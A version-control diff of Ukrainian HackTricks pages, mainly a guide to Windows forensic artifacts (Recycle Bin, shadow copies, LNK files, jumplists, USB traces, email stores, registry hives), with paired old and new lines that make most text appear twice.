Для настроюваного аналізу PDF можна використовувати бібліотеки Python, такі як [PeepDF](https://github.com/jesparza/peepdf) для створення власних сценаріїв розбору. Крім того, потенціал PDF для зберігання прихованих даних настільки великий, що ресурси, такі як посібник NSA щодо ризиків та протиходій, хоч і більше не розміщені на своїй початковій позиції, все ще пропонують цінні уявлення. [Копія посібника](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) та колекція [прийомів формату PDF](https://github.com/corkami/docs/blob/master/PDF/PDF.md) від Анж Альбертіні можуть забезпечити додаткове читання з цієї теми.
Для індивідуального аналізу PDF можна використовувати бібліотеки Python, такі як [PeepDF](https://github.com/jesparza/peepdf), щоб створити спеціальні скрипти для парсингу. Крім того, потенціал PDF для зберігання прихованих даних настільки великий, що ресурси, такі як посібник NSA з ризиків PDF та контрзаходів, хоча більше не розміщений за своєю первісною адресою, все ще пропонують цінні відомості. [Копія посібника](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) та колекція [триків формату PDF](https://github.com/corkami/docs/blob/master/PDF/PDF.md) від Анжелі Альберті можуть надати додаткову інформацію з цієї теми.
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Підтримайте HackTricks</summary>
Інші способи підтримки HackTricks:
* Якщо ви хочете побачити **рекламу вашої компанії на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи телеграм**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **та** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв**.
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
</details>
{% endhint %}

View file

@ -1,78 +1,79 @@
# Віконні артефакти
# Windows Artifacts
## Віконні артефакти
## Windows Artifacts
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Інші способи підтримки HackTricks:
* Якщо ви хочете побачити вашу **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Загальні віконні артефакти
## Generic Windows Artifacts
### Сповіщення Windows 10
### Windows 10 Notifications
У шляху `\Users\<username>\AppData\Local\Microsoft\Windows\Notifications` ви можете знайти базу даних `appdb.dat` (до Windows Anniversary) або `wpndatabase.db` (після Windows Anniversary).
У шляху `\Users\<username>\AppData\Local\Microsoft\Windows\Notifications` ви можете знайти базу даних `appdb.dat` (до ювілейного оновлення Windows) або `wpndatabase.db` (після ювілейного оновлення Windows).
У цій базі даних SQLite ви можете знайти таблицю `Notification` з усіма сповіщеннями (у форматі XML), які можуть містити цікаві дані.
Всередині цієї бази даних SQLite ви можете знайти таблицю `Notification` з усіма сповіщеннями (у форматі XML), які можуть містити цікаві дані.
### Хронологія
### Timeline
Хронологія - це характеристика Windows, яка надає **хронологічну історію** відвіданих веб-сторінок, відредагованих документів та виконаних програм.
Timeline - це характеристика Windows, яка надає **хронологічну історію** відвіданих веб-сторінок, відредагованих документів та виконаних програм.
База даних знаходиться за шляхом `\Users\<username>\AppData\Local\ConnectedDevicesPlatform\<id>\ActivitiesCache.db`. Цю базу даних можна відкрити за допомогою інструменту SQLite або інструменту [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd), **який генерує 2 файли, які можна відкрити за допомогою інструменту** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md).
База даних знаходиться за шляхом `\Users\<username>\AppData\Local\ConnectedDevicesPlatform\<id>\ActivitiesCache.db`. Цю базу даних можна відкрити за допомогою інструменту SQLite або за допомогою інструменту [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) **який генерує 2 файли, які можна відкрити за допомогою інструменту** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md).
### ADS (Alternate Data Streams)
Завантажені файли можуть містити **ADS Zone.Identifier**, що вказує, **як** він був **завантажений** з інтранету, Інтернету і т.д. Деяке програмне забезпечення (наприклад, браузери) зазвичай навіть додають **більше** **інформації**, наприклад, **URL** з якого був завантажений файл.
Завантажені файли можуть містити **ADS Zone.Identifier**, що вказує **як** він був **завантажений** з інтра-мережі, інтернету тощо. Деяке програмне забезпечення (таке як браузери) зазвичай додає навіть **більше** **інформації**, такої як **URL**, з якого файл був завантажений.
## **Резервні копії файлів**
## **File Backups**
### Кошик
### Recycle Bin
У Vista/Win7/Win8/Win10 **Кошик** можна знайти у папці **`$Recycle.bin`** в корені диска (`C:\$Recycle.bin`).\
Коли файл видаляється у цій папці, створюються 2 конкретних файли:
У Vista/Win7/Win8/Win10 **Кошик** можна знайти в папці **`$Recycle.bin`** в корені диска (`C:\$Recycle.bin`).\
Коли файл видаляється в цій папці, створюються 2 специфічні файли:
* `$I{id}`: Інформація про файл (дата видалення)
* `$I{id}`: Інформація про файл (дата, коли він був видалений)
* `$R{id}`: Вміст файлу
![](<../../../.gitbook/assets/image (486).png>)
![](<../../../.gitbook/assets/image (1029).png>)
Маючи ці файли, ви можете використовувати інструмент [**Rifiuti**](https://github.com/abelcheung/rifiuti2), щоб отримати початкову адресу видалених файлів та дату їх видалення (використовуйте `rifiuti-vista.exe` для Vista Win10).
Маючи ці файли, ви можете використовувати інструмент [**Rifiuti**](https://github.com/abelcheung/rifiuti2), щоб отримати оригінальну адресу видалених файлів та дату, коли вони були видалені (використовуйте `rifiuti-vista.exe` для Vista Win10).
```
.\rifiuti-vista.exe C:\Users\student\Desktop\Recycle
```
![](<../../../.gitbook/assets/image (495) (1) (1) (1).png>)
### Тіньові копії томів
### Копії тіней
Тіньова копія - це технологія, включена в Microsoft Windows, яка може створювати **резервні копії** або знімки файлів або томів комп'ютера, навіть коли вони використовуються.
Копія тіні - це технологія, включена в Microsoft Windows, яка може створювати **резервні копії** або знімки комп'ютерних файлів або томів, навіть коли вони використовуються.
Ці резервні копії зазвичай розташовані в `\System Volume Information` від кореня файлової системи, а назва складається з **UID**, показаних на наступному зображенні:
Ці резервні копії зазвичай розташовані в `\System Volume Information` з кореня файлової системи, а назва складається з **UID** показаних на наступному зображенні:
![](<../../../.gitbook/assets/image (520).png>)
![](<../../../.gitbook/assets/image (94).png>)
Підключаючи образ для форензіки за допомогою **ArsenalImageMounter**, інструмент [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow\_copy\_view.html) може бути використаний для огляду тіньової копії та навіть **екстрагування файлів** з резервних копій тіньової копії.
Монтування образу дляensics за допомогою **ArsenalImageMounter**, інструмент [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow\_copy\_view.html) може бути використаний для перевірки копії тіні та навіть **екстракції файлів** з резервних копій копії тіні.
![](<../../../.gitbook/assets/image (521).png>)
![](<../../../.gitbook/assets/image (576).png>)
Запис реєстру `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore` містить файли та ключі, які **необхідно резервувати**:
Запис реєстру `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore` містить файли та ключі **для не резервного копіювання**:
![](<../../../.gitbook/assets/image (522).png>)
![](<../../../.gitbook/assets/image (254).png>)
Реєстр `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` також містить інформацію конфігурації про `Тіньові копії томів`.
Реєстр `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` також містить інформацію про конфігурацію `Копій тіней томів`.
### Файли автозбереження Office
### Автозбережені файли Office
Ви можете знайти файли автозбереження Office за адресою: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\`
Ви можете знайти автозбережені файли Office в: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\`
## Елементи оболонки
@ -80,20 +81,20 @@
### Останні документи (LNK)
Windows **автоматично створює** ці **ярлики**, коли користувач **відкриває, використовує або створює файл** в:
Windows **автоматично** **створює** ці **ярлики**, коли користувач **відкриває, використовує або створює файл** в:
* Win7-Win10: `C:\Users\\AppData\Roaming\Microsoft\Windows\Recent\`
* Office: `C:\Users\\AppData\Roaming\Microsoft\Office\Recent\`
При створенні папки також створюється посилання на папку, на батьківську папку та прабатьківську папку.
Коли створюється папка, також створюється посилання на папку, на батьківську папку та на бабусю папку.
Ці автоматично створені файли посилань **містять інформацію про походження**, наприклад, чи це **файл** **чи** **папка**, **часи MAC** цього файлу, **інформацію про том**, де зберігається файл, та **папку цільового файлу**. Ця інформація може бути корисною для відновлення цих файлів у випадку їх видалення.
Ці автоматично створені файли посилань **містять інформацію про походження**, наприклад, чи це **файл** **або** **папка**, **MAC** **часи** цього файлу, **інформацію про том**, де зберігається файл, та **папку цільового файлу**. Ця інформація може бути корисною для відновлення цих файлів у разі їх видалення.
Крім того, **дата створення посилання** - це перший **час**, коли оригінальний файл був **використаний**, а **дата** **зміни** посилання - **останній** **раз**, коли використовувався початковий файл.
Також, **дата створення посилання** файлу - це перший **раз**, коли оригінальний файл був **використаний вперше**, а **дата** **зміни** файлу посилання - це **остання** **дата**, коли оригінальний файл був використаний.
Для огляду цих файлів ви можете використовувати [**LinkParser**](http://4discovery.com/our-tools/).
Щоб перевірити ці файли, ви можете використовувати [**LinkParser**](http://4discovery.com/our-tools/).
У цих інструментах ви знайдете **2 набори** міток часу:
У цьому інструменті ви знайдете **2 набори** часових міток:
* **Перший набір:**
1. FileModifiedDate
@ -104,45 +105,47 @@ Windows **автоматично створює** ці **ярлики**, кол
2. LinkAccessDate
3. LinkCreationDate.
Перший набір міток часу посилається на **мітки часу самого файлу**. Другий набір посилається на **мітки часу зв'язаного файлу**.
Перший набір часових міток посилається на **часові мітки самого файлу**. Другий набір посилається на **часові мітки пов'язаного файлу**.
Ви можете отримати ту саму інформацію, запустивши інструмент командного рядка Windows: [**LECmd.exe**](https://github.com/EricZimmerman/LECmd)
Ви можете отримати ту ж інформацію, запустивши інструмент CLI Windows: [**LECmd.exe**](https://github.com/EricZimmerman/LECmd)
```
LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs
```
In this case, the information is going to be saved inside a CSV file.
### Jumplists
Це останні файли, які вказані за допомогою кожного додатка. Це список **останніх файлів, використаних додатком**, до якого ви можете отримати доступ у кожному додатку. Вони можуть бути створені **автоматично або бути користувацькими**.
Це останні файли, які вказані для кожного додатку. Це список **останніх файлів, використаних додатком**, до яких ви можете отримати доступ у кожному додатку. Вони можуть бути створені **автоматично або бути користувацькими**.
**Jumplists**, створені автоматично, зберігаються в `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`. Jumplists називаються за форматом `{id}.autmaticDestinations-ms`, де початковий ID - це ID додатка.
**Jumplists**, створені автоматично, зберігаються в `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`. Jumplists називаються за форматом `{id}.autmaticDestinations-ms`, де початковий ID є ID додатку.
Користувацькі jumplists зберігаються в `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\`, і їх створює додаток зазвичай через те, що сталося щось **важливе** з файлом (можливо, відзначено як улюблений).
Користувацькі jumplists зберігаються в `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` і зазвичай створюються додатком, коли з файлом сталося щось **важливе** (можливо, позначено як улюблене).
**Час створення** будь-якого jumplist вказує на **перший раз, коли файл був доступний**, а **час зміни - останній раз**.
**Час створення** будь-якого jumplist вказує на **перший раз, коли файл був відкритий** і **час модифікації останнього разу**.
Ви можете переглянути jumplists за допомогою [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md).
Ви можете перевірити jumplists, використовуючи [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md).
![](<../../../.gitbook/assets/image (474).png>)
![](<../../../.gitbook/assets/image (168).png>)
(_Зверніть увагу, що відмітки часу, надані JumplistExplorer, стосуються самого файлу jumplist_)
(_Зверніть увагу, що часові мітки, надані JumplistExplorer, пов'язані з файлом jumplist_)
### Shellbags
[**Перейдіть за цим посиланням, щоб дізнатися, що таке shellbags.**](interesting-windows-registry-keys.md#shellbags)
[**Слідуйте за цим посиланням, щоб дізнатися, що таке shellbags.**](interesting-windows-registry-keys.md#shellbags)
## Використання USB-накопичувачів Windows
## Використання USB Windows
Можливо виявити, що USB-пристрій був використаний завдяки створенню:
Можливо, ідентифікувати, що USB-пристрій було використано завдяки створенню:
* Папки Останні вікна
* Папки Останні Microsoft Office
* Папка Recent Windows
* Папка Recent Microsoft Office
* Jumplists
Зверніть увагу, що деякі файли LNK, замість посилання на оригінальний шлях, посилаються на папку WPDNSE:
Зверніть увагу, що деякі LNK файли замість того, щоб вказувати на оригінальний шлях, вказують на папку WPDNSE:
![](<../../../.gitbook/assets/image (476).png>)
![](<../../../.gitbook/assets/image (218).png>)
Файли в папці WPDNSE є копією оригінальних файлів, тому вони не виживуть після перезавантаження ПК, а GUID береться з shellbag.
Файли в папці WPDNSE є копією оригінальних, тому не переживуть перезавантаження ПК, а GUID береться з shellbag.
### Інформація реєстру
@ -150,127 +153,127 @@ LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs
### setupapi
Перевірте файл `C:\Windows\inf\setupapi.dev.log`, щоб отримати відмітки часу про те, коли було встановлено підключення USB (шукайте `Section start`).
Перевірте файл `C:\Windows\inf\setupapi.dev.log`, щоб отримати часові мітки про те, коли було здійснено USB-з'єднання (шукайте `Section start`).
![](<../../../.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (14).png>)
![](<../../../.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (14) (2).png>)
### USB Detective
[**USBDetective**](https://usbdetective.com) може бути використаний для отримання інформації про USB-пристрої, які були підключені до зображення.
![](<../../../.gitbook/assets/image (483).png>)
![](<../../../.gitbook/assets/image (452).png>)
### Плагін та грати очищення
### Plug and Play Cleanup
Заплановане завдання, відоме як 'Plug and Play Cleanup', призначене в основному для видалення застарілих версій драйверів. На відміну від вказаної мети збереження останньої версії пакету драйверів, онлайн-джерела вказують, що воно також спрямоване на драйвери, які були неактивними протягом 30 днів. Відповідно, драйвери для знімних пристроїв, які не підключалися протягом останніх 30 днів, можуть бути видалені.
Заплановане завдання, відоме як 'Plug and Play Cleanup', в основному призначене для видалення застарілих версій драйверів. На відміну від його зазначеної мети зберігати останню версію пакета драйверів, онлайн-джерела вказують, що воно також націлене на драйвери, які були неактивними протягом 30 днів. Відповідно, драйвери для знімних пристроїв, які не були підключені протягом останніх 30 днів, можуть бути піддані видаленню.
Завдання розташоване за наступним шляхом:
`C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`.
Завдання розташоване за наступним шляхом: `C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`.
Надається знімок екрана, що показує вміст завдання:
![](https://2.bp.blogspot.com/-wqYubtuR_W8/W19bV5S9XyI/AAAAAAAANhU/OHsBDEvjqmg9ayzdNwJ4y2DKZnhCdwSMgCLcBGAs/s1600/xml.png)
Скриншот, що зображує вміст завдання, надано: ![](https://2.bp.blogspot.com/-wqYubtuR\_W8/W19bV5S9XyI/AAAAAAAANhU/OHsBDEvjqmg9ayzdNwJ4y2DKZnhCdwSMgCLcBGAs/s1600/xml.png)
**Основні компоненти та налаштування завдання:**
- **pnpclean.dll**: Ця DLL відповідає за фактичний процес очищення.
- **UseUnifiedSchedulingEngine**: Встановлено на `TRUE`, що вказує на використання загального розкладування завдань.
- **MaintenanceSettings**:
- **Період ('P1M')**: Направляє Планувальник завдань ініціювати завдання очищення щомісяця під час регулярного автоматичного обслуговування.
- **Крайній термін ('P2M')**: Інструкція для Планувальника завдань, якщо завдання не вдалося протягом двох послідовних місяців, виконати завдання під час аварійного автоматичного обслуговування.
**Ключові компоненти та налаштування завдання:**
Ця конфігурація забезпечує регулярне обслуговування та очищення драйверів, з можливістю повторної спроби завдання у разі послідовних невдач.
* **pnpclean.dll**: Ця DLL відповідає за фактичний процес очищення.
* **UseUnifiedSchedulingEngine**: Встановлено на `TRUE`, що вказує на використання загального механізму планування завдань.
* **MaintenanceSettings**:
* **Period ('P1M')**: Направляє планувальник завдань на ініціювання завдання очищення щомісяця під час регулярного автоматичного обслуговування.
* **Deadline ('P2M')**: Інструктує планувальник завдань, якщо завдання не вдається протягом двох послідовних місяців, виконати завдання під час екстреного автоматичного обслуговування.
**Для отримання додаткової інформації перегляньте:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html)
Ця конфігурація забезпечує регулярне обслуговування та очищення драйверів, з положеннями для повторної спроби завдання у разі послідовних невдач.
## Електронні листи
**Для отримання додаткової інформації перевірте:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html)
Електронні листи містять **2 цікаві частини: заголовки та вміст** листа. У **заголовках** можна знайти інформацію, таку як:
## Emails
* **Хто** відправив листи (адреса електронної пошти, IP, поштові сервери, які перенаправили лист)
* **Коли** було відправлено лист
Електронні листи містять **2 цікаві частини: заголовки та вміст** електронного листа. У **заголовках** ви можете знайти інформацію, таку як:
Також, у заголовках `References` та `In-Reply-To` можна знайти ID повідомлень:
* **Хто** надіслав електронні листи (адреса електронної пошти, IP, поштові сервери, які перенаправили електронний лист)
* **Коли** був надісланий електронний лист
![](<../../../.gitbook/assets/image (484).png>)
Також, всередині заголовків `References` та `In-Reply-To` ви можете знайти ID повідомлень:
### Приклад програми пошти Windows
![](<../../../.gitbook/assets/image (593).png>)
Ця програма зберігає листи у форматі HTML або тексту. Ви можете знайти листи у підпапках у `\Users\<username>\AppData\Local\Comms\Unistore\data\3\`. Листи зберігаються з розширенням `.dat`.
### Windows Mail App
**Метадані** листів та **контакти** можна знайти у **базі даних EDB**: `\Users\<username>\AppData\Local\Comms\UnistoreDB\store.vol`
Цей додаток зберігає електронні листи у форматі HTML або тексту. Ви можете знайти електронні листи всередині підпапок у `\Users\<username>\AppData\Local\Comms\Unistore\data\3\`. Електронні листи зберігаються з розширенням `.dat`.
**Змініть розширення** файлу з `.vol` на `.edb`, і ви можете використовувати інструмент [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html), щоб відкрити його. У таблиці `Message` ви можете побачити листи.
**Метадані** електронних листів та **контакти** можна знайти всередині **EDB бази даних**: `\Users\<username>\AppData\Local\Comms\UnistoreDB\store.vol`
**Змініть розширення** файлу з `.vol` на `.edb`, і ви можете використовувати інструмент [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) для його відкриття. Всередині таблиці `Message` ви можете побачити електронні листи.
### Microsoft Outlook
Коли використовуються сервери Exchange або клієнти Outlook, будуть деякі заголовки MAPI:
* `Mapi-Client-Submit-Time`: Час системи, коли було відправлено лист
* `Mapi-Conversation-Index`: Кількість дочірніх повідомлень потоку та час кожного повідомлення потоку
* `Mapi-Client-Submit-Time`: Час системи, коли електронний лист був надісланий
* `Mapi-Conversation-Index`: Кількість дочірніх повідомлень потоку та часові мітки кожного повідомлення потоку
* `Mapi-Entry-ID`: Ідентифікатор повідомлення.
* `Mappi-Message-Flags` та `Pr_last_Verb-Executed`: Інформація про клієнта MAPI (повідомлення прочитано? не прочитано? відповіли? перенаправлено? поза офісом?)
* `Mappi-Message-Flags` та `Pr_last_Verb-Executed`: Інформація про клієнта MAPI (повідомлення прочитано? не прочитано? відповіли? перенаправлено? у відпустці?)
У клієнті Microsoft Outlook всі відправлені/отримані повідомлення, дані контактів та календарні дані зберігаються в файлі PST у:
У клієнті Microsoft Outlook всі надіслані/отримані повідомлення, дані контактів та дані календаря зберігаються у файлі PST у:
* `%USERPROFILE%\Local Settings\Application Data\Microsoft\Outlook` (WinXP)
* `%USERPROFILE%\AppData\Local\Microsoft\Outlook`
Шлях реєстру `HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook` вказує на використаний файл.
Шлях реєстру `HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook` вказує на файл, який використовується.
Ви можете відкрити файл PST за допомогою інструменту [**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/visor-de-pst.html).
Ви можете відкрити файл PST, використовуючи інструмент [**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/visor-de-pst.html).
![](<../../../.gitbook/assets/image (485).png>)
### Файли OST Microsoft Outlook
![](<../../../.gitbook/assets/image (498).png>)
Файл **OST** генерується Microsoft Outlook, коли він налаштований з **IMAP** або сервером **Exchange**, зберігаючи подібну інформацію до файлу PST. Цей файл синхронізується з сервером, зберігаючи дані за **останні 12 місяців** до **максимального розміру 50 ГБ**, і розташований в тій же теки, що і файл PST. Для перегляду файлу OST можна використовувати [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html).
### Microsoft Outlook OST Files
### Отримання вкладень
**OST файл** генерується Microsoft Outlook, коли він налаштований з **IMAP** або сервером **Exchange**, зберігаючи подібну інформацію до файлу PST. Цей файл синхронізується з сервером, зберігаючи дані за **останні 12 місяців** до **максимального розміру 50 ГБ**, і розташований у тій же директорії, що й файл PST. Щоб переглянути OST файл, можна використовувати [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html).
Втрачені вкладення можна відновити з:
### Відновлення вкладень
- Для **IE10**: `%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook`
- Для **IE11 та вище**: `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook`
Втрачені вкладення можуть бути відновлені з:
### Файли MBOX Thunderbird
* Для **IE10**: `%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook`
* Для **IE11 та вище**: `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook`
**Thunderbird** використовує файли **MBOX** для зберігання даних, розташованих в `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles`.
### Thunderbird MBOX Files
### Мініатюри зображень
**Thunderbird** використовує **MBOX файли** для зберігання даних, розташованих у `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles`.
- **Windows XP та 8-8.1**: Доступ до теки з мініатюрами генерує файл `thumbs.db`, який зберігає попередні перегляди зображень, навіть після видалення.
- **Windows 7/10**: `thumbs.db` створюється при доступі через мережу за допомогою шляху UNC.
- **Windows Vista та новіші**: Попередні перегляди мініатюр централізовані в `%userprofile%\AppData\Local\Microsoft\Windows\Explorer` з файлами з назвою **thumbcache\_xxx.db**. [**Thumbsviewer**](https://thumbsviewer.github.io) та [**ThumbCache Viewer**](https://thumbcacheviewer.github.io) - це інструменти для перегляду цих файлів.
### Image Thumbnails
### Інформація з реєстру Windows
* **Windows XP та 8-8.1**: Доступ до папки з ескізами генерує файл `thumbs.db`, що зберігає попередні перегляди зображень, навіть після видалення.
* **Windows 7/10**: `thumbs.db` створюється при доступі через мережу за допомогою UNC шляху.
* **Windows Vista та новіші**: Попередні перегляди ескізів централізовані в `%userprofile%\AppData\Local\Microsoft\Windows\Explorer` з файлами, названими **thumbcache\_xxx.db**. [**Thumbsviewer**](https://thumbsviewer.github.io) та [**ThumbCache Viewer**](https://thumbcacheviewer.github.io) є інструментами для перегляду цих файлів.
Реєстр Windows, що зберігає обширні дані про систему та активність користувача, міститься в файлах:
### Windows Registry Information
- `%windir%\System32\Config` для різних підключів `HKEY_LOCAL_MACHINE`.
- `%UserProfile%{User}\NTUSER.DAT` для `HKEY_CURRENT_USER`.
- Починаючи з Windows Vista та новіших версій, файли реєстру `HKEY_LOCAL_MACHINE` резервуються в `%Windir%\System32\Config\RegBack\`.
- Крім того, інформація про виконання програм зберігається в `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT` починаючи з Windows Vista та Windows 2008 Server.
Реєстр Windows, що зберігає обширні дані про систему та активність користувачів, міститься у файлах у:
### Інструменти
* `%windir%\System32\Config` для різних підключів `HKEY_LOCAL_MACHINE`.
* `%UserProfile%{User}\NTUSER.DAT` для `HKEY_CURRENT_USER`.
* Windows Vista та новіші версії резервують файли реєстру `HKEY_LOCAL_MACHINE` у `%Windir%\System32\Config\RegBack\`.
* Крім того, інформація про виконання програм зберігається в `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT` з Windows Vista та Windows 2008 Server.
### Tools
Деякі інструменти корисні для аналізу файлів реєстру:
* **Редактор реєстру**: Встановлений в Windows. Це графічний інтерфейс для навігації через реєстр Windows поточної сесії.
* [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md): Дозволяє завантажити файл реєстру та навігувати через них за допомогою графічного інтерфейсу. Також містить закладки, які підсвічують ключі з цікавою інформацією.
* [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Знову, має графічний інтерфейс, який дозволяє навігувати через завантажений реєстр та містить плагіни, які підсвічують цікаву інформацію всередині завантаженого реєстру.
* [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html): Інша GUI-програма, яка може видобувати важливу інформацію з завантаженого реєстру.
* **Registry Editor**: Встановлений у Windows. Це GUI для навігації через реєстр Windows поточної сесії.
* [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md): Дозволяє завантажити файл реєстру та навігувати через них за допомогою GUI. Також містить закладки, що підкреслюють ключі з цікавою інформацією.
